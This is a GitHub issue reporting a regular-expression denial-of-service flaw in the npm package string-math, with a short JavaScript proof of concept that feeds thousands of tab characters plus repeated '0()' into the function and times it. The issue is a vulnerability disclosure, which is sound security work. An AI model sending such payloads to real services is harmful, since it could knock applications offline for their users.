string-math icon indicating copy to clipboard operation
string-math copied to clipboard

Regex takes longer to process

Open 6en6ar opened this issue 10 months ago • 0 comments

The regex on line 7. is vulnerable to Regex DoS when a large input is provided to the function with ocurring null bytes and tabs in this case. I did not check the ones above but the first one that is processed is causing delay. This is the PoC code:

var stringMath = require('string-math'); const { performance } = require("perf_hooks");

const start = performance.now();

payload = '\t'.repeat(5000) + '0()'.repeat(100) //stringMath("-5-5") //-10 stringMath(payload)

const end = performance.now();

console.log(time taken: ${end - start}ms);

Normal time: time taken: 1.3773619999999767ms

6en6ar avatar Mar 21 '25 17:03 6en6ar